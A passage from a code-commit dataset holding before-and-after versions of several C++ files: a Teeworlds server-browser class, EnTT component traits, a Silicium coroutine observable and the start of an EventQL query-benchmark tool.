events\n\t\t\tQObject::connect(m_ui.m_pb_srvb_refresh, SIGNAL(clicked()), this, SLOT(refresh()));\n\t\t}\n\n\tpublic slots:\n\t\tvoid refresh()\n\t\t{\n\t\t\t\/\/ reset ui\n\t\t\tm_ui.m_tw_srvb_list->clearContents();\n\t\t\tm_ui.m_tw_srvb_list->setRowCount(0);\n\t\t\tm_ui.m_lb_srvb_status->setText(\"Refreshing masters...\");\n\n\t\t\t\/\/ request masterlist\n\t\t\tm_refreshing_masters = true;\n\t\t\tm_masters.request_list();\n\t\t}\n\n\tprivate:\n\t\tvoid masters_finished()\n\t\t{\n\t\t\t\/\/ master refresh finished\n\n\t\t\tm_refreshing_masters = false;\n\t\t\tm_refreshing = true;\n\n\t\t\tauto ips(m_masters.get_list());\n\t\t\tmlk::lout(\"server_browser\") << \"refreshed masters. got \" << ips.size() << \" ips.\";\n\t\t\tm_ui.m_lb_srvb_status->setText(QString{\"Refreshed masters, processing %1 servers...\"}.arg(ips.size()));\n\t\t\tif(ips.empty())\n\t\t\t\treturn;\n\n\t\t\t\/\/ make ready for server refreshing\n\t\t\tm_servers.reset();\n\t\t\tm_servers.add_masterlist(ips);\n\t\t\tm_servers.request_info();\n\t\t\tm_stopwatch.restart();\n\t\t}\n\n\t\tvoid servers_finished()\n\t\t{\n\t\t\t\/\/ server refresh finished\n\n\t\t\tm_refreshing = false;\n\t\t\tauto tm(m_stopwatch.elapsed_time());\n\t\t\tmlk::lout(\"server_browser\") << \"refreshed servers. (twl) processed \" << m_servers.get_infos().size() << \" servers in \" << tm << \"ms.\";\n\n\t\t\tm_ui.m_tw_srvb_list->setSortingEnabled(false);\n\t\t\tfor(auto& a : m_servers.get_infos())\n\t\t\t{\n\t\t\t\tm_ui.m_tw_srvb_list->insertRow(m_ui.m_tw_srvb_list->rowCount());\n\t\t\t\tauto* name(new QTableWidgetItem{a.name().c_str()});\n\t\t\t\tauto* type(new QTableWidgetItem{a.gametype().c_str()});\n\t\t\t\tauto* map(new QTableWidgetItem{a.mapname().c_str()});\n\t\t\t\tauto* players(new QTableWidgetItem{QString{\"%1\/%2\"}.arg(a.numclients()).arg(a.maxclients())});\n\t\t\t\tauto* ping(new QTableWidgetItem{QString{\"%1\"}.arg(a.ping())});\n\n\t\t\t\tm_ui.m_tw_srvb_list->setItem(m_ui.m_tw_srvb_list->rowCount() - 1, 0, name);\n\t\t\t\tm_ui.m_tw_srvb_list->setItem(m_ui.m_tw_srvb_list->rowCount() - 1, 1, type);\n\t\t\t\tm_ui.m_tw_srvb_list->setItem(m_ui.m_tw_srvb_list->rowCount() - 1, 2, map);\n\t\t\t\tm_ui.m_tw_srvb_list->setItem(m_ui.m_tw_srvb_list->rowCount() - 1, 3, players);\n\t\t\t\tm_ui.m_tw_srvb_list->setItem(m_ui.m_tw_srvb_list->rowCount() - 1, 4, ping);\n\t\t\t}\n\n\t\t\tm_ui.m_tw_srvb_list->setSortingEnabled(true);\n\t\t\tm_ui.m_lb_srvb_status->setText(\"Servers refreshed.\");\n\t\t\tmlk::lout(\"server_browser\") << \"ui took \" << m_stopwatch.elapsed_time() - tm << \" ms.\";\n\t\t}\n\t};\n}\n\n\n#endif \/\/ TWSM_SERVER_BROWSER\n\n<commit_msg>serverbrowser: changed text on 0 servers<commit_after>\/\/\n\/\/ Copyright (c) 2014 Christoph Malek\n\/\/ See LICENSE for more information.\n\/\/\n\n#ifndef TWSM_SERVER_BROWSER\n#define TWSM_SERVER_BROWSER\n\n\n#include \"ui_main_window.h\"\n\n#include <mlk\/log\/log.h>\n#include <mlk\/time\/simple_timer.h>\n\n#include <twl\/network\/network.hpp>\n\n#include <QObject>\n#include <QTableWidgetItem>\n\n\nnamespace Ui\n{class main_window;}\n\nnamespace twsm\n{\n\tclass server_browser : public QObject\n\t{\n\t\tQ_OBJECT\n\n\t\tUi::main_window& m_ui;\n\n\t\ttwl::master_server m_masters;\n\t\ttwl::game_server m_servers;\n\n\t\tmlk::tm::simple_timer m_stopwatch{0};\n\n\t\tbool m_refreshing_masters{false}, m_refreshing{false};\n\n\tpublic:\n\t\tserver_browser(Ui::main_window& ui) :\n\t\t\tm_ui{ui}\n\t\t{ }\n\n\t\tvoid update()\n\t\t{\n\t\t\tm_masters.update();\n\t\t\tm_servers.update();\n\t\t}\n\n\t\tvoid init()\n\t\t{\n\t\t\tmlk::lout(\"server_browser\", true) << \"init. settings default masters. setting up events.\";\n\n\t\t\t\/\/ setup default masters\n\t\t\tm_masters.add_master({\"master1.teeworlds.com:8300\"});\n\t\t\tm_masters.add_master({\"master2.teeworlds.com:8300\"});\n\t\t\tm_masters.add_master({\"master3.teeworlds.com:8300\"});\n\t\t\tm_masters.add_master({\"master4.teeworlds.com:8300\"});\n\n\t\t\t\/\/ setup events\n\t\t\tm_masters.on_finish = [this]{this->masters_finished();};\n\t\t\tm_servers.on_finish = [this]{this->servers_finished();};\n\n\t\t\t\/\/ ui events\n\t\t\tQObject::connect(m_ui.m_pb_srvb_refresh, SIGNAL(clicked()), this, SLOT(refresh()));\n\t\t}\n\n\tpublic slots:\n\t\tvoid refresh()\n\t\t{\n\t\t\t\/\/ reset ui\n\t\t\tm_ui.m_tw_srvb_list->clearContents();\n\t\t\tm_ui.m_tw_srvb_list->setRowCount(0);\n\t\t\tm_ui.m_lb_srvb_status->setText(\"Refreshing masters...\");\n\n\t\t\t\/\/ request masterlist\n\t\t\tm_refreshing_masters = true;\n\t\t\tm_masters.request_list();\n\t\t}\n\n\tprivate:\n\t\tvoid masters_finished()\n\t\t{\n\t\t\t\/\/ master refresh finished\n\n\t\t\tm_refreshing_masters = false;\n\t\t\tm_refreshing = true;\n\n\t\t\tauto ips(m_masters.get_list());\n\t\t\tmlk::lout(\"server_browser\") << \"refreshed masters. got \" << ips.size() << \" ips.\";\n\t\t\tif(ips.empty())\n\t\t\t{\n\t\t\t\tm_ui.m_lb_srvb_status->setText(\"Got no servers from masters. Stopping refreshing.\");\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tm_ui.m_lb_srvb_status->setText(QString{\"Refreshed masters, processing %1 servers...\"}.arg(ips.size()));\n\n\t\t\t\/\/ make ready for server refreshing\n\t\t\tm_servers.reset();\n\t\t\tm_servers.add_masterlist(ips);\n\t\t\tm_servers.request_info();\n\t\t\tm_stopwatch.restart();\n\t\t}\n\n\t\tvoid servers_finished()\n\t\t{\n\t\t\t\/\/ server refresh finished\n\n\t\t\tm_refreshing = false;\n\t\t\tauto tm(m_stopwatch.elapsed_time());\n\t\t\tmlk::lout(\"server_browser\") << \"refreshed servers. (twl) processed \" << m_servers.get_infos().size() << \" servers in \" << tm << \"ms.\";\n\n\t\t\tm_ui.m_tw_srvb_list->setSortingEnabled(false);\n\t\t\tfor(auto& a : m_servers.get_infos())\n\t\t\t{\n\t\t\t\tm_ui.m_tw_srvb_list->insertRow(m_ui.m_tw_srvb_list->rowCount());\n\t\t\t\tauto* name(new QTableWidgetItem{a.name().c_str()});\n\t\t\t\tauto* type(new QTableWidgetItem{a.gametype().c_str()});\n\t\t\t\tauto* map(new QTableWidgetItem{a.mapname().c_str()});\n\t\t\t\tauto* players(new QTableWidgetItem{QString{\"%1\/%2\"}.arg(a.numclients()).arg(a.maxclients())});\n\t\t\t\tauto* ping(new QTableWidgetItem{QString{\"%1\"}.arg(a.ping())});\n\n\t\t\t\tm_ui.m_tw_srvb_list->setItem(m_ui.m_tw_srvb_list->rowCount() - 1, 0, name);\n\t\t\t\tm_ui.m_tw_srvb_list->setItem(m_ui.m_tw_srvb_list->rowCount() - 1, 1, type);\n\t\t\t\tm_ui.m_tw_srvb_list->setItem(m_ui.m_tw_srvb_list->rowCount() - 1, 2, map);\n\t\t\t\tm_ui.m_tw_srvb_list->setItem(m_ui.m_tw_srvb_list->rowCount() - 1, 3, players);\n\t\t\t\tm_ui.m_tw_srvb_list->setItem(m_ui.m_tw_srvb_list->rowCount() - 1, 4, ping);\n\t\t\t}\n\n\t\t\tm_ui.m_tw_srvb_list->setSortingEnabled(true);\n\t\t\tm_ui.m_lb_srvb_status->setText(\"Servers refreshed.\");\n\t\t\tmlk::lout(\"server_browser\") << \"ui took \" << m_stopwatch.elapsed_time() - tm << \" ms.\";\n\t\t}\n\t};\n}\n\n\n#endif \/\/ TWSM_SERVER_BROWSER\n\n<|endoftext|>"} {"text":"<commit_before>#ifndef ENTT_ENTITY_COMPONENT_HPP\n#define ENTT_ENTITY_COMPONENT_HPP\n\n\n#include <type_traits>\n#include \"..\/config\/config.h\"\n\n\nnamespace entt {\n\n\n\/*! @brief Commonly used default traits for all types. *\/\nstruct basic_component_traits {\n \/*! @brief Pointer stability, default is `std::false_type`. *\/\n using in_place_delete = std::false_type;\n \/*! @brief Empty type optimization, default is `ENTT_IGNORE_IF_EMPTY`. *\/\n using ignore_if_empty = ENTT_IGNORE_IF_EMPTY;\n};\n\n\n\/**\n * @brief Common way to access various properties of components.\n * @tparam Type Type of component.\n *\/\ntemplate<typename Type, typename = void>\nstruct component_traits: basic_component_traits {\n static_assert(std::is_same_v<std::decay_t<Type>, Type>, \"Unsupported type\");\n};\n\n\n}\n\n\n#endif\n<commit_msg>component: added in_place_delete_v and ignore_if_empty_v<commit_after>#ifndef ENTT_ENTITY_COMPONENT_HPP\n#define ENTT_ENTITY_COMPONENT_HPP\n\n\n#include <type_traits>\n#include \"..\/config\/config.h\"\n\n\nnamespace entt {\n\n\n\/*! @brief Commonly used default traits for all types. *\/\nstruct basic_component_traits {\n \/*! @brief Pointer stability, default is `std::false_type`. *\/\n using in_place_delete = std::false_type;\n \/*! @brief Empty type optimization, default is `ENTT_IGNORE_IF_EMPTY`. *\/\n using ignore_if_empty = ENTT_IGNORE_IF_EMPTY;\n};\n\n\n\/**\n * @brief Common way to access various properties of components.\n * @tparam Type Type of component.\n *\/\ntemplate<typename Type, typename = void>\nstruct component_traits: basic_component_traits {\n static_assert(std::is_same_v<std::decay_t<Type>, Type>, \"Unsupported type\");\n};\n\n\n\/**\n * @brief Helper variable template.\n * @tparam Type Type of component.\n *\/\ntemplate<class Type>\ninline constexpr bool in_place_delete_v = component_traits<Type>::in_place_delete::value;\n\n\n\/**\n * @brief Helper variable template.\n * @tparam Type Type of component.\n *\/\ntemplate<class Type>\ninline constexpr bool ignore_if_empty_v = component_traits<Type>::ignore_if_empty::value;\n\n\n}\n\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#ifndef SILICIUM_REACTIVE_COROUTINE_HPP\n#define SILICIUM_REACTIVE_COROUTINE_HPP\n\n#include <silicium\/exchange.hpp>\n#include <silicium\/yield_context.hpp>\n#include <silicium\/fast_variant.hpp>\n#include <boost\/coroutine\/all.hpp>\n\nnamespace Si\n{\n\tnamespace detail\n\t{\n\t\ttemplate <class Element>\n\t\tstruct result\n\t\t{\n\t\t\tElement value;\n\n\t\t\tresult()\n\t\t\t{\n\t\t\t}\n\n\t\t\texplicit result(Element value)\n\t\t\t\t: value(std::move(value))\n\t\t\t{\n\t\t\t}\n\n#ifdef _MSC_VER\n\t\t\tresult(result &&other)\n\t\t\t\t: value(std::move(other.value))\n\t\t\t{\n\t\t\t}\n\n\t\t\tresult &operator = (result &&other)\n\t\t\t{\n\t\t\t\tvalue = std::move(other.value);\n\t\t\t\treturn *this;\n\t\t\t}\n\n\t\t\tresult(result const &other)\n\t\t\t\t: value(other.value)\n\t\t\t{\n\t\t\t}\n\n\t\t\tresult &operator = (result const &other)\n\t\t\t{\n\t\t\t\tvalue = other.value;\n\t\t\t\treturn *this;\n\t\t\t}\n#endif\n\t\t};\n\n\t\tstruct yield\n\t\t{\n\t\t\tSi::observable<nothing> *target;\n\t\t};\n\n\t\ttemplate <class Element>\n\t\tstruct make_command\n\t\t{\n\t\t\ttypedef Si::fast_variant<result<Element>, yield> type;\n\t\t};\n\n\t\ttemplate <class Element>\n\t\tstruct coroutine_yield_context_impl : detail::yield_context_impl<Element>\n\t\t{\n\t\t\ttypedef typename boost::coroutines::coroutine<typename detail::make_command<Element>::type>::push_type consumer_type;\n\n\t\t\texplicit coroutine_yield_context_impl(consumer_type &consumer)\n\t\t\t\t: consumer(&consumer)\n\t\t\t{\n\t\t\t}\n\n\t\t\tvirtual void push_result(Element result) SILICIUM_OVERRIDE\n\t\t\t{\n\t\t\t\t(*consumer)(detail::result<Element>(std::move(result)));\n\t\t\t}\n\n\t\t\tvirtual void get_one(observable<nothing> &target) SILICIUM_OVERRIDE\n\t\t\t{\n\t\t\t\t(*consumer)(detail::yield{&target});\n\t\t\t}\n\n\t\tprivate:\n\n\t\t\tconsumer_type *consumer = nullptr;\n\t\t};\n\t}\n\n\ttemplate <class Element>\n\tstruct coroutine_observable\n\t\t: private Si::observer<nothing>\n\t\t, public boost::static_visitor<> \/\/TODO make private\n\t{\n\t\ttypedef Element element_type;\n\n\t\tcoroutine_observable()\n\t\t{\n\t\t}\n\n\t\tcoroutine_observable(coroutine_observable &&other)\n\t\t{\n\t\t\t*this = std::move(other);\n\t\t}\n\n\t\tcoroutine_observable &operator = (coroutine_observable &&other)\n\t\t{\n\t\t\tcoro_ = std::move(other.coro_);\n\t\t\taction = std::move(other.action);\n\t\t\treceiver_ = std::move(other.receiver_);\n\t\t\treturn *this;\n\t\t}\n\n\t\ttemplate <class Action>\n\t\texplicit coroutine_observable(Action &&action)\n\t\t\t: action(std::forward<Action>(action))\n\t\t{\n\t\t}\n\n\t\tvoid async_get_one(Si::observer<element_type> &receiver)\n\t\t{\n\t\t\treceiver_ = &receiver;\n\t\t\tnext();\n\t\t}\n\n\t\t\/\/TODO make private\n\t\tvoid operator()(detail::result<element_type> command)\n\t\t{\n\t\t\treturn Si::exchange(receiver_, nullptr)->got_element(std::move(command.value));\n\t\t}\n\n\t\t\/\/TODO make private\n\t\tvoid operator()(detail::yield command)\n\t\t{\n\t\t\tcommand.target->async_get_one(*this);\n\t\t}\n\n\tprivate:\n\n\t\ttypedef typename detail::make_command<element_type>::type command_type;\n\t\ttypedef typename boost::coroutines::coroutine<command_type>::pull_type coroutine_type;\n\t\tusing coroutine_holder =\n#ifdef _MSC_VER\n\t\t\tstd::shared_ptr<coroutine_type>\n#else\n\t\t\tcoroutine_type\n#endif\n\t\t\t;\n\n\t\tcoroutine_holder coro_;\n\t\tstd::function<void (yield_context<Element> &)> action;\n\t\tSi::observer<Element> *receiver_ = nullptr;\n\n\t\tcoroutine_type &coro()\n\t\t{\n\t\t\treturn\n#ifdef _MSC_VER\n\t\t\t\t*\n#endif\n\t\t\t\tcoro_;\n\t\t}\n\n\t\tvirtual void got_element(nothing) SILICIUM_OVERRIDE\n\t\t{\n\t\t\tnext();\n\t\t}\n\n\t\tvirtual void ended() SILICIUM_OVERRIDE\n\t\t{\n\t\t\tSi::exchange(receiver_, nullptr)->ended();\n\t\t}\n\n\t\tvoid next()\n\t\t{\n\t\t\tif (action)\n\t\t\t{\n\t\t\t\tauto bound_action = action;\n\t\t\t\tcoro_ =\n#ifdef _MSC_VER\n\t\t\t\t\tstd::make_shared<coroutine_type>\n#else\n\t\t\t\t\tcoroutine_type\n#endif\n\t\t\t\t\t\t([bound_action](typename boost::coroutines::coroutine<command_type>::push_type &push)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdetail::coroutine_yield_context_impl<Element> yield_impl(push);\n\t\t\t\t\t\t\tyield_context<Element> yield(yield_impl); \/\/TODO: save this indirection\n\t\t\t\t\t\t\treturn bound_action(yield);\n\t\t\t\t\t\t});\n\t\t\t\taction = nullptr;\n\t\t\t}\n\t\t\telse if (coro())\n\t\t\t{\n\t\t\t\tcoro()();\n\t\t\t}\n\t\t\tif (coro())\n\t\t\t{\n\t\t\t\tcommand_type command = coro().get();\n\t\t\t\treturn Si::apply_visitor(*this, command);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tSi::exchange(receiver_, nullptr)->ended();\n\t\t\t}\n\t\t}\n\t};\n\n\ttemplate <class Element, class Action>\n\tauto make_coroutine(Action &&action) -> coroutine_observable<Element>\n\t{\n\t\treturn coroutine_observable<Element>(std::forward<Action>(action));\n\t}\n}\n\n#endif\n<commit_msg>fix mistake in coroutine when the observable given to get_one ended<commit_after>#ifndef SILICIUM_REACTIVE_COROUTINE_HPP\n#define SILICIUM_REACTIVE_COROUTINE_HPP\n\n#include <silicium\/exchange.hpp>\n#include <silicium\/yield_context.hpp>\n#include <silicium\/fast_variant.hpp>\n#include <boost\/coroutine\/all.hpp>\n\nnamespace Si\n{\n\tnamespace detail\n\t{\n\t\ttemplate <class Element>\n\t\tstruct result\n\t\t{\n\t\t\tElement value;\n\n\t\t\tresult()\n\t\t\t{\n\t\t\t}\n\n\t\t\texplicit result(Element value)\n\t\t\t\t: value(std::move(value))\n\t\t\t{\n\t\t\t}\n\n#ifdef _MSC_VER\n\t\t\tresult(result &&other)\n\t\t\t\t: value(std::move(other.value))\n\t\t\t{\n\t\t\t}\n\n\t\t\tresult &operator = (result &&other)\n\t\t\t{\n\t\t\t\tvalue = std::move(other.value);\n\t\t\t\treturn *this;\n\t\t\t}\n\n\t\t\tresult(result const &other)\n\t\t\t\t: value(other.value)\n\t\t\t{\n\t\t\t}\n\n\t\t\tresult &operator = (result const &other)\n\t\t\t{\n\t\t\t\tvalue = other.value;\n\t\t\t\treturn *this;\n\t\t\t}\n#endif\n\t\t};\n\n\t\tstruct yield\n\t\t{\n\t\t\tSi::observable<nothing> *target;\n\t\t};\n\n\t\ttemplate <class Element>\n\t\tstruct make_command\n\t\t{\n\t\t\ttypedef Si::fast_variant<result<Element>, yield> type;\n\t\t};\n\n\t\ttemplate <class Element>\n\t\tstruct coroutine_yield_context_impl : detail::yield_context_impl<Element>\n\t\t{\n\t\t\ttypedef typename boost::coroutines::coroutine<typename detail::make_command<Element>::type>::push_type consumer_type;\n\n\t\t\texplicit coroutine_yield_context_impl(consumer_type &consumer)\n\t\t\t\t: consumer(&consumer)\n\t\t\t{\n\t\t\t}\n\n\t\t\tvirtual void push_result(Element result) SILICIUM_OVERRIDE\n\t\t\t{\n\t\t\t\t(*consumer)(detail::result<Element>(std::move(result)));\n\t\t\t}\n\n\t\t\tvirtual void get_one(observable<nothing> &target) SILICIUM_OVERRIDE\n\t\t\t{\n\t\t\t\t(*consumer)(detail::yield{&target});\n\t\t\t}\n\n\t\tprivate:\n\n\t\t\tconsumer_type *consumer = nullptr;\n\t\t};\n\t}\n\n\ttemplate <class Element>\n\tstruct coroutine_observable\n\t\t: private Si::observer<nothing>\n\t\t, public boost::static_visitor<> \/\/TODO make private\n\t{\n\t\ttypedef Element element_type;\n\n\t\tcoroutine_observable()\n\t\t{\n\t\t}\n\n\t\tcoroutine_observable(coroutine_observable &&other)\n\t\t{\n\t\t\t*this = std::move(other);\n\t\t}\n\n\t\tcoroutine_observable &operator = (coroutine_observable &&other)\n\t\t{\n\t\t\tcoro_ = std::move(other.coro_);\n\t\t\taction = std::move(other.action);\n\t\t\treceiver_ = std::move(other.receiver_);\n\t\t\treturn *this;\n\t\t}\n\n\t\ttemplate <class Action>\n\t\texplicit coroutine_observable(Action &&action)\n\t\t\t: action(std::forward<Action>(action))\n\t\t{\n\t\t}\n\n\t\tvoid async_get_one(Si::observer<element_type> &receiver)\n\t\t{\n\t\t\treceiver_ = &receiver;\n\t\t\tnext();\n\t\t}\n\n\t\t\/\/TODO make private\n\t\tvoid operator()(detail::result<element_type> command)\n\t\t{\n\t\t\treturn Si::exchange(receiver_, nullptr)->got_element(std::move(command.value));\n\t\t}\n\n\t\t\/\/TODO make private\n\t\tvoid operator()(detail::yield command)\n\t\t{\n\t\t\tcommand.target->async_get_one(*this);\n\t\t}\n\n\tprivate:\n\n\t\ttypedef typename detail::make_command<element_type>::type command_type;\n\t\ttypedef typename boost::coroutines::coroutine<command_type>::pull_type coroutine_type;\n\t\tusing coroutine_holder =\n#ifdef _MSC_VER\n\t\t\tstd::shared_ptr<coroutine_type>\n#else\n\t\t\tcoroutine_type\n#endif\n\t\t\t;\n\n\t\tcoroutine_holder coro_;\n\t\tstd::function<void (yield_context<Element> &)> action;\n\t\tSi::observer<Element> *receiver_ = nullptr;\n\n\t\tcoroutine_type &coro()\n\t\t{\n\t\t\treturn\n#ifdef _MSC_VER\n\t\t\t\t*\n#endif\n\t\t\t\tcoro_;\n\t\t}\n\n\t\tvirtual void got_element(nothing) SILICIUM_OVERRIDE\n\t\t{\n\t\t\tnext();\n\t\t}\n\n\t\tvirtual void ended() SILICIUM_OVERRIDE\n\t\t{\n\t\t\tnext();\n\t\t}\n\n\t\tvoid next()\n\t\t{\n\t\t\tif (action)\n\t\t\t{\n\t\t\t\tauto bound_action = action;\n\t\t\t\tcoro_ =\n#ifdef _MSC_VER\n\t\t\t\t\tstd::make_shared<coroutine_type>\n#else\n\t\t\t\t\tcoroutine_type\n#endif\n\t\t\t\t\t\t([bound_action](typename boost::coroutines::coroutine<command_type>::push_type &push)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdetail::coroutine_yield_context_impl<Element> yield_impl(push);\n\t\t\t\t\t\t\tyield_context<Element> yield(yield_impl); \/\/TODO: save this indirection\n\t\t\t\t\t\t\treturn bound_action(yield);\n\t\t\t\t\t\t});\n\t\t\t\taction = nullptr;\n\t\t\t}\n\t\t\telse if (coro())\n\t\t\t{\n\t\t\t\tcoro()();\n\t\t\t}\n\t\t\tif (coro())\n\t\t\t{\n\t\t\t\tcommand_type command = coro().get();\n\t\t\t\treturn Si::apply_visitor(*this, command);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tSi::exchange(receiver_, nullptr)->ended();\n\t\t\t}\n\t\t}\n\t};\n\n\ttemplate <class Element, class Action>\n\tauto make_coroutine(Action &&action) -> coroutine_observable<Element>\n\t{\n\t\treturn coroutine_observable<Element>(std::forward<Action>(action));\n\t}\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/**\n * Copyright (c) 2016 DeepCortex GmbH <legal@eventql.io>\n * Authors:\n * - Laura Schlimmer <laura@eventql.io>\n *\n * This program is free software: you can redistribute it and\/or modify it under\n * the terms of the GNU Affero General Public License (\"the license\") as\n * published by the Free Software Foundation, either version 3 of the License,\n * or any later version.\n *\n * In accordance with Section 7(e) of the license, the licensing of the Program\n * under the license does not imply a trademark license. Therefore any rights,\n * title and interest in our trademarks remain entirely with us.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE. See the license for more details.\n *\n * You can be released from the requirements of the license by purchasing a\n * commercial license. Buying such a license is mandatory as soon as you develop\n * commercial activities involving this program without disclosing the source\n * code of your own applications\n *\/\n#include <stdlib.h>\n#include <unistd.h>\n#include <signal.h>\n#include <poll.h>\n#include <thread>\n#include \"eventql\/eventql.h\"\n#include \"eventql\/util\/application.h\"\n#include \"eventql\/util\/logging.h\"\n#include \"eventql\/util\/UnixTime.h\"\n#include \"eventql\/util\/return_code.h\"\n#include \"eventql\/util\/cli\/CLI.h\"\n#include \"eventql\/util\/io\/inputstream.h\"\n#include \"eventql\/util\/cli\/term.h\"\n#include \"eventql\/util\/cli\/flagparser.h\"\n#include \"eventql\/util\/thread\/threadpool.h\"\n#include \"eventql\/cli\/cli_config.h\"\n\nReturnCode sendQuery(\n const String& query,\n const String& qry_db,\n evql_client_t* client) {\n uint64_t qry_flags = 0;\n if (!qry_db.empty()) {\n qry_flags |= EVQL_QUERY_SWITCHDB;\n }\n\n int rc = evql_query(client, query.c_str(), qry_db.c_str(), qry_flags);\n\n size_t result_ncols;\n if (rc == 0) {\n rc = evql_num_columns(client, &result_ncols);\n }\n\n while (rc >= 0) {\n const char** fields;\n size_t* field_lens;\n rc = evql_fetch_row(client, &fields, &field_lens);\n if (rc < 1) {\n break;\n }\n }\n\n evql_client_releasebuffers(client);\n\n if (rc == -1) {\n return ReturnCode::error(\"EIOERROR\", evql_client_geterror(client));\n } else {\n return ReturnCode::success();\n }\n\n}\n\nvoid print(\n size_t num_errors,\n size_t num_succes,\n UnixTime start,\n OutputStream* stdout_os) {\n UnixTime now;\n auto duration = now - start;\n stdout_os->write(StringUtil::format(\n \"total successful error milliseconds\\n\"\n \" $0 $1 $2 $3\\n\\n\",\n num_errors + num_succes,\n num_succes,\n num_errors,\n duration.milliseconds()\n ));\n}\n\nstatic constexpr auto kMaxErrors = 10;\n\nstruct TimeWindow {\n static constexpr auto kMillisPerWindow = 1 * kMillisPerSecond;\n\n void clear() {\n num_requests = 0;\n UnixTime now;\n start = now;\n }\n\n int64_t getRemainingMillis() {\n UnixTime now;\n auto duration = now - start;\n return kMillisPerWindow - duration.milliseconds();\n }\n\n size_t num_requests;\n UnixTime start;\n};\n\n\nint main(int argc, const char** argv) {\n cli::FlagParser flags;\n\n flags.defineFlag(\n \"help\",\n cli::FlagParser::T_SWITCH,\n false,\n \"?\",\n NULL,\n \"help\",\n \"<help>\");\n\n flags.defineFlag(\n \"version\",\n cli::FlagParser::T_SWITCH,\n false,\n \"v\",\n NULL,\n \"print version\",\n \"<switch>\");\n\n flags.defineFlag(\n \"host\",\n cli::FlagParser::T_STRING,\n false,\n \"h\",\n NULL,\n \"eventql server hostname\",\n \"<host>\");\n\n flags.defineFlag(\n \"port\",\n cli::FlagParser::T_INTEGER,\n false,\n \"p\",\n NULL,\n \"eventql server port\",\n \"<port>\");\n\n flags.defineFlag(\n \"database\",\n cli::FlagParser::T_STRING,\n false,\n \"d\",\n NULL,\n \"database\",\n \"<db>\");\n\n flags.defineFlag(\n \"query\",\n cli::FlagParser::T_STRING,\n true,\n \"q\",\n NULL,\n \"query str\",\n \"<query>\");\n\n flags.defineFlag(\n \"threads\",\n cli::FlagParser::T_INTEGER,\n false,\n \"t\",\n \"10\",\n \"number of threads\",\n \"<threads>\");\n\n flags.defineFlag(\n \"rate\",\n cli::FlagParser::T_INTEGER,\n false,\n \"r\",\n \"1\",\n \"number of requests per second\",\n \"<rate>\");\n\n flags.defineFlag(\n \"max\",\n cli::FlagParser::T_INTEGER,\n false,\n \"n\",\n NULL,\n \"number of requests per second\",\n \"<rate>\");\n\n flags.defineFlag(\n \"loglevel\",\n cli::FlagParser::T_STRING,\n false,\n NULL,\n \"INFO\",\n \"loglevel\",\n \"<level>\");\n\n flags.parseArgv(argc, argv);\n Vector<String> cmd_argv = flags.getArgv();\n Logger::get()->setMinimumLogLevel(\n strToLogLevel(flags.getString(\"loglevel\")));\n\n Application::init();\n Application::logToStderr(\"evqlbenchmark\");\n auto stdin_is = InputStream::getStdin();\n auto stdout_os = OutputStream::getStdout();\n auto stderr_os = OutputStream::getStderr();\n\n bool print_help = flags.isSet(\"help\");\n bool print_version = flags.isSet(\"version\");\n if (print_version || print_help) {\n auto stdout_os = OutputStream::getStdout();\n stdout_os->write(\n StringUtil::format(\n \"EventQL $0 ($1)\\n\"\n \"Copyright (c) 2016, DeepCortex GmbH. All rights reserved.\\n\\n\",\n eventql::kVersionString,\n eventql::kBuildID));\n }\n\n if (print_version) {\n return 1;\n }\n\n if (print_help) {\n stdout_os->write(\n \"Usage: $ evqlbenchmark [OPTIONS] <command> [<args>]\\n\\n\"\n \" -D, --database <db> Select a database\\n\"\n \" -h, --host <hostname> Set the EventQL server hostname\\n\"\n \" -p, --port <port> Set the EventQL server port\\n\"\n \" -?, --help <topic> Display a command's help text and exit\\n\"\n \" -v, --version Display the version of this binary and exit\\n\\n\"\n \"evqlbenchmark commands:\\n\"\n );\n return 1;\n }\n\n logInfo(\"evqlbenchmark\", \"starting benchmark\");\n \/* options *\/\n eventql::ProcessConfigBuilder cfg_builder;\n {\n auto status = cfg_builder.loadDefaultConfigFile(\"evql\");\n if (!status.isSuccess()) {\n logFatal(\"evqlbenchmark\", \"error while loading config file %s\", status.message());\n return 0;\n }\n }\n\n if (flags.isSet(\"host\")) {\n cfg_builder.setProperty(\"evql\", \"host\", flags.getString(\"host\"));\n }\n\n if (flags.isSet(\"port\")) {\n cfg_builder.setProperty(\n \"evql\",\n \"port\",\n StringUtil::toString(flags.getInt(\"port\")));\n }\n\n if (flags.isSet(\"database\")) {\n cfg_builder.setProperty(\"evql\", \"database\", flags.getString(\"database\"));\n }\n\n eventql::cli::CLIConfig cfg(cfg_builder.getConfig());\n\n\n String qry_db;\n if (flags.isSet(\"database\")) {\n qry_db = flags.getString(\"database\");\n }\n\n auto qry_str = flags.getString(\"query\");\n auto rate = flags.getInt(\"rate\");\n auto num_threads = flags.getInt(\"threads\");\n size_t max_requests;\n bool has_max = false;\n if (flags.isSet(\"max\")) {\n max_requests = flags.getInt(\"max\");\n has_max = true;\n }\n\n const UnixTime global_start;\n\n std::mutex m;\n TimeWindow twindow;\n auto errors = 0;\n auto requests_sent = 0;\n\n Vector<std::thread> threads;\n for (size_t i = 0; i < num_threads; ++i) {\n threads.emplace_back(std::thread([&] () {\n\n \/* connect to eventql client *\/\n auto client = evql_client_init();\n if (!client) {\n logFatal(\"evqlbenchmark\", \"can't initialize eventql client\");\n return 0;\n }\n\n {\n auto rc = evql_client_connect(\n client,\n cfg.getHost().c_str(),\n cfg.getPort(),\n 0);\n\n if (rc < 0) {\n logFatal(\"evqlbenchmark\", \"can't connect to eventql client: $0\", evql_client_geterror(client));\n return 0;\n }\n }\n\n for (;;) {\n \/* check remaining time in current timewindow *\/\n m.lock();\n \/* start a new timewindow *\/\n if (twindow.getRemainingMillis() <= 0) {\n twindow.clear();\n m.unlock();\n continue;\n }\n m.unlock();\n\n \/* send query *\/\n auto rc = sendQuery(qry_str, qry_db, client);\n m.lock();\n if (!rc.isSuccess()) {\n logFatal(\"evqlbenchmark\", \"executing query failed: $0\", rc.getMessage());\n 